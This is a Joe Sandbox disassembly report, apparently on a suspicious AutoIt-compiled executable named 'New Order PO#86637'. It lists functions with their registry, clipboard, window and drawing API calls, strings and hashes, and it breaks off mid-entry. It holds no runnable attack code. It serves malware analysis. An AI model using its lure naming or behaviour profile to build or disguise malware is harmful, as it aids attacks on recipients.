SetTextColor.GDI32(?,?), ref: 0043093B
GetSysColorBrush.USER32(0000000F), ref: 0043094E
GetSysColor.USER32(0000000F), ref: 00430959
CreateSolidBrush.GDI32(?), ref: 00430962
GetSysColor.USER32(00000011), ref: 00430979
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
SelectObject.GDI32(?,00000000), ref: 0043099C
SetBkColor.GDI32(?,?), ref: 004309A6
SelectObject.GDI32(?,?), ref: 004309B4
InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
GetWindowLongW.USER32(?,000000F0), ref: 00430A09
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29
GetWindowTextW.USER32(00000000,00000000,?), ref: 00430A5A
InflateRect.USER32(?,000000FD,000000FD), ref: 00430A86
DrawFocusRect.USER32(?,?), ref: 00430A91
GetSysColor.USER32(00000011), ref: 00430A9F
SetTextColor.GDI32(?,00000000), ref: 00430AA7
DrawTextW.USER32(?,?,000000FF,?,00000105), ref: 00430ABC
SelectObject.GDI32(?,?), ref: 00430AD0
DeleteObject.GDI32(00000105), ref: 00430ADC
SelectObject.GDI32(?,?), ref: 00430AE3
DeleteObject.GDI32(?), ref: 00430AE9
SetTextColor.GDI32(?,?), ref: 00430AF0
SetBkColor.GDI32(?,?), ref: 00430AFB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1582027408-0
Opcode ID: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
Instruction ID: b12033eb3fa9204049de4d7caedd8dcf025edfa44633034d6aae7949f8ecba99
Opcode Fuzzy Hash: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
Instruction Fuzzy Hash: 6F713071900209BFDB04DFA8DD88EAEBBB9FF48710F104619F915A7290D774A941CFA8

Function 0046B9D7 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 415registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046BAE6
RegCreateKeyExW.ADVAPI32(?,?,00000000,00484EA8,00000000,?,00000000,?,?,?), ref: 0046BB40
RegCloseKey.ADVAPI32(?,00000001,00000000,00000000,00000000), ref: 0046BB8A

Strings

REG_MULTI_SZ, xrefs: 0046BC80
REG_QWORD, xrefs: 0046BDB6
REG_SZ, xrefs: 0046BC0D
REG_DWORD, xrefs: 0046BD72
REG_BINARY, xrefs: 0046BDFF
REG_EXPAND_SZ, xrefs: 0046BBA5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 3217815495-966354055
Opcode ID: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
Instruction ID: 14c723365299aea1e32a80c9e2d98689f85295d348ed372ee81e16963ac3f886
Opcode Fuzzy Hash: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
Instruction Fuzzy Hash: BCE18171604200ABD710EF65C885F1BB7E8EF88704F14895EB949DB352D739ED41CBA9

Function 004565B2 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 291windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004566AE
GetDesktopWindow.USER32 ref: 004566C3
GetWindowRect.USER32(00000000), ref: 004566CA
GetWindowLongW.USER32(?,000000F0), ref: 00456722
GetWindowLongW.USER32(?,000000F0), ref: 00456735
DestroyWindow.USER32(?), ref: 00456746
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456794
SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 004567B2
SendMessageW.USER32(?,00000418,00000000,?), ref: 004567C6
SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567D6
SendMessageW.USER32(?,00000421,?,?), ref: 004567F6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0045680C
IsWindowVisible.USER32(?), ref: 0045682C
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00456848
SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 0045685C
GetWindowRect.USER32(?,?), ref: 00456873
MonitorFromPoint.USER32(?,00000001,00000002), ref: 00456891
GetMonitorInfoW.USER32(00000000,?), ref: 004568A9
CopyRect.USER32(?,?), ref: 004568BE
SendMessageW.USER32(?,00000412,00000000), ref: 00456914

Strings

(, xrefs: 0045689F
,, xrefs: 0045666C
tooltips_class32, xrefs: 0045678D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSendWindow$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
String ID: ($,$tooltips_class32
API String ID: 225202481-3320066284
Opcode ID: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
Instruction ID: fcdb4dd5bfb9c4cfeeadc9569793f3eee26ed74f2078e1bfb0220ba6a1b85fea
Opcode Fuzzy Hash: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
Instruction Fuzzy Hash: 4CB17170A00205AFDB54DFA4CD85BAEB7B4BF48304F10895DE919BB282D778A949CB58

Function 0046DCB4 Relevance: 36.2, APIs: 24, Instructions: 247clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 0046DCE7
IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
GetClipboardData.USER32(0000000D), ref: 0046DD01
CloseClipboard.USER32 ref: 0046DD0D
GlobalLock.KERNEL32(00000000), ref: 0046DD37
CloseClipboard.USER32 ref: 0046DD41
IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
GetClipboardData.USER32(00000001), ref: 0046DD8D
CloseClipboard.USER32 ref: 0046DD99

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
String ID:
API String ID: 15083398-0
Opcode ID: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
Instruction ID: c6f05cb0c77453757aa6b00544986da50a17ac1627668c5aecb5782462309948
Opcode Fuzzy Hash: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
Instruction Fuzzy Hash: CE81B072704201ABD310EF65DD8AB5EB7A8FF94315F00482EF605E72D1EB74E905879A

Function 00471BC9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 313windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

GetWindowRect.USER32(?,?), ref: 00471CF7
GetClientRect.USER32(?,?), ref: 00471D05
GetSystemMetrics.USER32(00000007), ref: 00471D0D
GetSystemMetrics.USER32(00000008), ref: 00471D20
GetSystemMetrics.USER32(00000004), ref: 00471D42
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471D71
GetSystemMetrics.USER32(00000007), ref: 00471D79
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471DA3
GetSystemMetrics.USER32(00000008), ref: 00471DAB
GetSystemMetrics.USER32(00000004), ref: 00471DCF
SetRect.USER32(?,00000000,00000000,?,?), ref: 00471DEE
AdjustWindowRectEx.USER32(?,?,00000000,00000040), ref: 00471DFF
CreateWindowExW.USER32(00000040,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 00471E35
SetWindowLongW.USER32(00000000,000000EB,?), ref: 00471E6E
GetClientRect.USER32(?,?), ref: 00471E8A
GetStockObject.GDI32(00000011), ref: 00471EA6
SendMessageW.USER32(?,00000030,00000000), ref: 00471EB2
SetTimer.USER32(00000000,00000000,00000028,00462986), ref: 00471ED9

Strings

AutoIt v3 GUI, xrefs: 00471E2F
@, xrefs: 00471C95

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
String ID: @$AutoIt v3 GUI
API String ID: 867697134-3359773793
Opcode ID: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
Instruction ID: 8cf5fd9e7b0abf2f472dad9b41bae804ea9cb1b32c1b51d65689880f1cfe2d6c
Opcode Fuzzy Hash: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
Instruction Fuzzy Hash: 7DC17F71A402059FDB14DFA8DD85BAF77B4FB58714F10862EFA09A7290DB78A840CB58

Function 00433A13 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 196COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00433A26
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00433A4E
_wcslen.LIBCMT ref: 00433A55
_wcscpy.LIBCMT ref: 00433A7B
_wcscat.LIBCMT ref: 00433A9C
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?), ref: 00433AC1
_wcscat.LIBCMT ref: 00433B0E
_wcscat.LIBCMT ref: 00433B15
__wcsicoll.LIBCMT ref: 00433B2F
_wcsncpy.LIBCMT ref: 00433B45

Strings

04090000, xrefs: 00433AFA
\VarFileInfo\Translation, xrefs: 00433ABB
DefaultLangCodepage, xrefs: 00433B29
StringFileInfo\, xrefs: 00433A96
%u.%u.%u.%u, xrefs: 00433BAA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1503153545-1459072770
Opcode ID: 76acf26b61918e0ebafe3e9c460c5efedcc98b6992261bc6c4f6588f91b2aee1
Instruction ID: bf9a9138137c8e48d15734b0b0bf1383f69a7efb75f9ce998fc77f2ad016157b
Opcode Fuzzy Hash: 76acf26b61918e0ebafe3e9c460c5efedcc98b6992261bc6c4f6588f91b2aee1
Instruction Fuzzy Hash: D551F672A402043BD610BB269C43EFFB36C9F49715F10055FFE09A6242EA7DEA5183AD

Function 00469296 Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 116COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 004692C8
__wcsicoll.LIBCMT ref: 004692E0
__wcsnicmp.LIBCMT ref: 00469300

Strings

REGEXP=, xrefs: 00469323
HANDLE=, xrefs: 004692FA
[CLASS:, xrefs: 0046935E
[REGEXPTITLE:, xrefs: 00469335
[LAST, xrefs: 004693B9
[ACTIVE, xrefs: 004692EC
CLASSNAME=, xrefs: 0046934C
ALL, xrefs: 004693A0
LAST, xrefs: 004692C2
[HANDLE:, xrefs: 0046930C
[ALL, xrefs: 004693B2
ACTIVE, xrefs: 004692DA
pQH, xrefs: 004693C6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll$__wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:$pQH
API String ID: 790654849-32604322
Opcode ID: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
Instruction ID: c91e69f26a1c2718e03151092e39642ccf44f92bf630fd0466772f198d10bc2a
Opcode Fuzzy Hash: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
Instruction Fuzzy Hash: CA317731A0420966DB10FAA2DD46BAE736C9F15315F20053BBD00BB2D5E7BC6E4587AE

Function 00455A89 Relevance: 31.9, APIs: 21, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
Instruction ID: 62dae473257cc2caee0a49c5626d46440081d624880130feb25903cd50123649
Opcode Fuzzy Hash: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
Instruction Fuzzy Hash: 84C128727002046BE724CFA8DC46FAFB7A4EF55311F00416AFA05DA2C1EBB99909C795

Function 0044870C Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004487BD

Strings

0, xrefs: 004489F1

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window
String ID: 0
API String ID: 2353593579-4108050209
Opcode ID: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
Instruction ID: 06508bea8339de1511a48146ac1d08a96458f0089f80555ee302a354f7131a6f
Opcode Fuzzy Hash: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
Instruction Fuzzy Hash: 35B18BB0204341ABF324CF24CC89BABBBE4FB89744F14491EF591962D1DBB8A845CB59

Function 0044A032 Relevance: 31.7, APIs: 21, Instructions: 198windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 0044A05E
GetClientRect.USER32(?,?), ref: 0044A0D1
SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A0E9
GetWindowDC.USER32(?), ref: 0044A0F6
GetPixel.GDI32(00000000,?,?), ref: 0044A108
ReleaseDC.USER32(?,?), ref: 0044A11B
GetSysColor.USER32(0000000F), ref: 0044A131
GetWindowLongW.USER32(?,000000F0), ref: 0044A140
GetSysColor.USER32(0000000F), ref: 0044A14F
GetSysColor.USER32(00000005), ref: 0044A15B
GetWindowDC.USER32(?), ref: 0044A1BE
GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A1CB
GetPixel.GDI32(00000000,?,00000000), ref: 0044A1E4
GetPixel.GDI32(00000000,00000000,?), ref: 0044A1FD
GetPixel.GDI32(00000000,?,?), ref: 0044A21D
ReleaseDC.USER32(?,00000000), ref: 0044A229
SetBkColor.GDI32(?,00000000), ref: 0044A24C
GetSysColor.USER32(00000008), ref: 0044A265
SetTextColor.GDI32(?,00000000), ref: 0044A270
SetBkMode.GDI32(?,00000001), ref: 0044A282
GetStockObject.GDI32(00000005), ref: 0044A28A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
String ID:
API String ID: 1744303182-0
Opcode ID: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
Instruction ID: 0380b5c53d8a23173c1b90063483f03488caaf4f58ae5d2001aea5c06c56dff4
Opcode Fuzzy Hash: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
Instruction Fuzzy Hash: E6612531140101ABE7109F78CC88BAB7764FB46320F14876AFD659B3D0DBB49C529BAA

Function 00417C20 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004164DE), ref: 00417C28
__mtterm.LIBCMT ref: 00417C34

Part of subcall function 004178FF: TlsFree.KERNEL32(00000017,00417D96,?,004164DE), ref: 0041792A
Part of subcall function 004178FF: DeleteCriticalSection.KERNEL32(00000000,00000000,00410E44,?,00417D96,?,004164DE), ref: 004181B8
Part of subcall function 004178FF: _free.LIBCMT ref: 004181BB
Part of subcall function 004178FF: DeleteCriticalSection.KERNEL32(00000017,00410E44,?,00417D96,?,004164DE), ref: 004181E2

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00417C4A
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00417C57
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00417C64
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00417C71
TlsAlloc.KERNEL32(?,004164DE), ref: 00417CC1
TlsSetValue.KERNEL32(00000000,?,004164DE), ref: 00417CDC
__init_pointers.LIBCMT ref: 00417CE6
__calloc_crt.LIBCMT ref: 00417D54
GetCurrentThreadId.KERNEL32 ref: 00417D80

Strings

FlsSetValue, xrefs: 00417C59
FlsGetValue, xrefs: 00417C4C
FlsAlloc, xrefs: 00417C44
FlsFree, xrefs: 00417C66
KERNEL32.DLL, xrefs: 00417C23

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 4163708885-3819984048
Opcode ID: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
Instruction ID: ca22d9d2e1075830452d52834408fe47c465c3b6ac2468b12672dd77d4d5938c
Opcode Fuzzy Hash: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
Instruction Fuzzy Hash: D5315A75808710DECB10AF75BD0865A3EB8BB60764B12093FE914932B0DB7D8881CF9C

Function 0046E1A6 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

\, xrefs: 0046E293
>>>AUTOIT SCRIPT<<<, xrefs: 0046E467

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: >>>AUTOIT SCRIPT<<<$\
API String ID: 0-1896584978
Opcode ID: 0f644335f765ba1f090fa429f6a047d8548bdb555fde32e118ce45ae114b4fa6
Instruction ID: daa296ce3da71eb1ea4b2d74bac6de3536c6b190185545f0361092b1072d42a3
Opcode Fuzzy Hash: 0f644335f765ba1f090fa429f6a047d8548bdb555fde32e118ce45ae114b4fa6
Instruction Fuzzy Hash: 4081B9B1900204ABCB20EB61CD85FDB73ED9F54304F40859EF505AB142EA39EA85CB99

Function 004341E6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 91windowCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 00434207
__wcsicoll.LIBCMT ref: 004342BB
LoadIconW.USER32(00000000,00007F04), ref: 004342D1

Strings

stop, xrefs: 0043424A
info, xrefs: 004342B5
question, xrefs: 00434226
warning, xrefs: 0043426E
blank, xrefs: 00434201

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
